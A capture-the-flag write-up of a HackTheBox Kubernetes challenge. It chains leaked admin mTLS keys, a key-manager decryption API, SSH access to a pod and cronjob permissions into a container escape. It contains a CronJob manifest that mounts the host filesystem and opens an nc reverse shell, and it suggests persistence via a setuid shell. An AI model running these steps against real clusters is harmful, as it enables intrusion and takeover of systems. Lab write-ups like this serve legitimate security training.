We just launched an online password management, we would like you to look into our infrastructue and spot any issues.
Category: Cloud
Solver: rgw, linaScience
Flag: HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!}
Writeup
We get an IP address and run a full port scan with host detection (nmap -A -p-
) and see a few open ports:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| [...]
80/tcp open http syn-ack nginx 1.18.0
|_http-title: Sophist Key Manager
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0
8080/tcp open ssl/http-proxy syn-ack
|_http-title: Site doesn't have a title.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=admin
| [...]
8443/tcp open ssl/https-alt syn-ack
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
| fingerprint-strings:
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 7ec84791-51f5-437c-977d-2c4954bf15ec
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 25 Mar 2022 17:33:27 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 8e9af1ed-aba6-4463-bf14-afd6e003d2b2
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Fri, 25 Mar 2022 17:33:27 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| [...]
10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=sophist
| [...]
10251/tcp open unknown syn-ack
31337/tcp open ssh syn-ack OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| [...]
We can see that the node is the master node of a Kubernetes Cluster. Port 80 and 8080 are application service ports, 8443 is a Kubernetes API Port (HTTPS), ports 10250 and 10251 are Kubelet API Ports and 31337 is an application NodePort.
We look at port 8443 and see that we need to authenticate to the Kubernetes API before making any request. We saw a server with exposed unauthenticated kubelet on ports 10250 and 10251 in the qualifiers [1], but this time, we can’t do anything without authentication. Ports 22 and 31337 are also not useful right now since we do not have any SSH credentials and/or keys.
We first look at port 80 and are greeted with a website called “Sophist Key Manager):
None of the links except “Login” and “Register” work. We register and log in and see a welcome page:
We are interested in the “Manage Key” functionality and get a X509 certificate and private key, a server URL as well as some HTTP API endpoints:
We also see a hint that we have to contact admin regarding permissions. Our private and public keys say that they should be used for TLS Web client authentication, also known as mutual TLS (mTLS):
$ openssl x509 -in client.crt -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
0b:56:64:b2:06:2c:16:51:ef:a2:95:50:6e:ff:08:f2
Signature Algorithm: ED25519
Issuer: CN = client
Validity
Not Before: Mar 16 07:51:24 2022 GMT
Not After : Apr 15 07:51:24 2022 GMT
Subject: CN = client
Subject Public Key Info:
Public Key Algorithm: ED25519
ED25519 Public-Key:
pub:
35:03:bd:04:10:64:7b:99:73:f6:f2:c4:04:22:b0:
7b:5a:74:bb:4e:9f:7e:60:e8:a7:84:ef:fa:01:5f:
10:e4
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: ED25519
c3:f4:e9:b3:ee:c1:1c:96:85:09:ed:e6:a6:15:e8:ca:60:b6:
13:d4:a2:99:98:80:86:1b:11:9c:01:d8:62:85:10:d0:04:f4:
32:4e:73:43:2f:51:33:7b:19:61:44:d3:f5:a1:94:be:6a:91:
70:34:40:3f:43:b5:bb:4a:7c:05
-----BEGIN CERTIFICATE-----
MIIBHjCB0aADAgECAhALVmSyBiwWUe+ilVBu/wjyMAUGAytlcDARMQ8wDQYDVQQD
EwZjbGllbnQwHhcNMjIwMzE2MDc1MTI0WhcNMjIwNDE1MDc1MTI0WjARMQ8wDQYD
VQQDEwZjbGllbnQwKjAFBgMrZXADIQA1A70EEGR7mXP28sQEIrB7WnS7Tp9+YOin
hO/6AV8Q5KM/MD0wDgYDVR0PAQH/BAQDAgeAMB0GA1UdJQQWMBQGCCsGAQUFBwMB
BggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMAUGAytlcANBAMP06bPuwRyWhQnt5qYV
6MpgthPUopmYgIYbEZwB2GKFENAE9DJOc0MvUTN7GWFE0/WhlL5qkXA0QD9DtbtK
fAU=
-----END CERTIFICATE-----
The download URLs point to /keys/client.key
and /keys/client.crt
respectively, so we try accessing /keys
to see whether the webserver supports directory indexing:
We can now download the admin certificate and key and need not worry about permissions anymore. The webserver also contains a file called curl.log
which looks like this:
#### SSH ENCRYPT OUTPUT SAVE LOG (DEPARTED)
{"ciphertext": "eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaXYiOiIwUXJ0alUvWDJtUEtUK3A1R3JwdktRPT0iLCJub25jZSI6ImpxOGliYXVxKzY0dEZBM0kiLCJieXRlcyI6Im1MQ21hdzVxQW9acXpwOTJoMjZuRTJWR01BVkdCTTlJalNtT05SYz0ifQ=="}
{"ciphertext": "eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiI1ODRiZGI1NjJhYTAzMTYyMGUzYzczNjc1MzljN2IzNyIsIml2IjoiS3Y2bXVsY2ZTMzRScWJiZE51SXhqUT09Iiwibm9uY2UiOiJUNkVLRXFOeThMQTNzK1MwIiwiYnl0ZXMiOiJkOFlNSDRaNy9iWEZYQ2tiTmlsOEFVWEw5WEFxSDVGeEhabXpkbU1hK3JsTDNNMkNPWEt1In0="}
{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiI3ZWQ2MjkwMTEzNGRjYjVmYjgxZDIwYzA4MjcyYzBmMCIsIml2IjoiQkdJSFBIZEdOY2ljZ0hIdHdtU1FSdz09Iiwibm9uY2UiOiJIMFVhVEVlR2RhREo1RHRuIiwiYnl0ZXMiOiJCSTBySVJmbE10Z2xKWmRTNDZVV05YalhtaEswVlNEclFKaENRQVFiaXFuRXFuTVd3Yit0In0="}
[...]
Base64-decoding one of the ciphertexts results in:
{"aead":"AES-256-GCM-HMAC-SHA-256","id":"584bdb562aa031620e3c7367539c7b37","iv":"Kv6mulcfS34RqbbdNuIxjQ==","nonce":"T6EKEqNy8LA3s+S0","bytes":"d8YMH4Z7/bXFXCkbNil8AUXL9XAqH5FxHZmzdmMa+rlL3M2COXKu"}
We cannot decrypt the data at this time so we look at the other services. One service we haven’t looked at is port 8080. Ignoring any certificate warnings, we still cannot access the site:
$ curl https://10.129.227.107:8080 -k
nSSL SSL_read: error:14094412:SSL routines:ssl3_read_bytes:sslv3
ificate, errno 0
Since we have an admin certificate and private key, we try using mTLS to access the site:
$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080
404 page not found
This seems to work. Let’s try using the API endpoints to create a new key:
$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/create/test
$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080/v1/key/list/test
{"name":"test","created_at":"0001-01-01T00:00:00Z"}
We can encrypt and decrypt messages:
$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/encrypt/test -d '{"plaintext": "helo"}'
{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiIxZjEwNmZjNDQxMDg5ZTJlMjIxODJhOGM0ZTVhNzY4OCIsIml2IjoiRnRFZk1ZZ3F5Z05MTXV4dnl2cWxiQT09Iiwibm9uY2UiOiJEZWdveGhzOStaU3J6ZlJYIiwiYnl0ZXMiOiJZSDZzOGhPaDRURXdDNUVqdFBsOTlyaVpTUT09In0="}
$ curl --key admin.key --cert admin.crt -k -X POST https://10.129.227.107:8080/v1/key/decrypt/test -d '{"ciphertext":"eyJhZWFkIjoiQUVTLTI1Ni1HQ00tSE1BQy1TSEEtMjU2IiwiaWQiOiIxZjEwNmZjNDQxMDg5ZTJlMjIxODJhOGM0ZTVhNzY4OCIsIml2IjoiRnRFZk1ZZ3F5Z05MTXV4dnl2cWxiQT09Iiwibm9uY2UiOiJEZWdveGhzOStaU3J6ZlJYIiwiYnl0ZXMiOiJZSDZzOGhPaDRURXdDNUVqdFBsOTlyaVpTUT09In0="}'
{"plaintext":"helo"}
We poke around a bit to find out that requesting /v1/key/list/*
lists all available keys, including one named ssh-creds
:
$ curl --key admin.key --cert admin.crt -k https://10.129.227.107:8080/v1/key/list/*
{"name":"test","created_at":"0001-01-01T00:00:00Z"}
{"name":"ssh-creds","created_at":"0001-01-01T00:00:00Z"}
We remember the downloaded curl.log
from before and try to decrypt one entry. Since the API returns errors for the first few items, we write a script to decrypt all entries in curl.log
:
import subprocess
import os
with open('../curl.log') as f:
data = f.read().split("\n")
for line in data:
if line == '' or line.startswith('#'):
continue
os.system("curl -k --key admin.key --cert admin.crt --cacert admin.crt -X POST https://10.129.227.107:8080/v1/key/decrypt/ssh-creds -d '" + line + "'")
We get the result {"plaintext":"U3VwZXJDcmF6eVBhc3N3b3JkMTIzIQo="}
several times. Base64-decoding gives us SuperCrazyPassword123!
. Since the key was named ssh-creds
, we try using the password on an SSH port. Logging in on port 31337 with username admin
is successful:
$ ssh admin@10.129.227.107 -p 31337
The authenticity of host '[10.129.227.107]:31337 ([10.129.227.107]:31337)' can't be established.
ED25519 key fingerprint is SHA256:eMLNzgpfmeh2AHnVw97/PJBK4a+yF9Rh4JqS3fou9To.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.129.227.107]:31337' (ED25519) to the list of known hosts.
admin@10.129.227.107's password:
Welcome to OpenSSH Server
ssh-deployment-5fcf86748f-r4tsc:~$
We cannot find any flag on the server. Instead, since this is a pod run by Kubernetes, we look at /run/secrets/kubernetes.io/serviceaccount
: where we find three files:
ssh-deployment-5fcf86748f-r4tsc:/run/secrets/kubernetes.io/serviceaccount$ ls
ca.crt namespace token
We get a token for the namespace default
. On our system, we modify ~/.kube/config
to contain the token:
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.129.227.107:8443/
name: default
contexts:
- context:
cluster: default
user: default
name: default
current-context: default
kind: Config
preferences: {}
users:
- name: default
user:
token: <token>
We run kubectl auth can-i --list
to get the service account’s permissions:
$ kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
cronjobs.* [] [] [*]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
We see that the service account does not have many permissions, but it is allowed to do everything related to cronjobs. On a Kubernetes cluster, a cronjob is a type of API object that creates jobs periodically. These jobs spawn pods that execute some tasks. To get access to the server, our plan was to create a cronjob with a pod running a reverse shell. In the pod, we would mount a the host’s file system as a volume.
The problem was to properly select the pod’s image. Since the node did not have internet access and pulling images over HTTP is disabled by default in Kubernetes, we had to use an image already present on the node. The server running on port 31337 looked like linuxserver/openssh-server
[2] so we tried using this image. Since we were not able to connect back to our systems from the SSH server, we set up the reverse shell to connect to the SSH server in the cluster:
apiVersion: batch/v1
kind: CronJob
metadata:
name: hello
spec:
schedule: "* * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: linuxserver/openssh-server
command: ["/usr/bin/nc", "10.42.1.11", "4444", "-e", "/bin/sh"]
imagePullPolicy: Never
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /
restartPolicy: OnFailure
We get the flag:
$ pwd
/host/root
$ ls
flag.txt
$ cat flag.txt
HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!}
To persist ourselves, we could now add our own SSH keys to a user and give them a setuid shell.
Other resources
[1] https://platypwnies.de/writeups/2021/htb-uni-quals/cloud/steamcloud/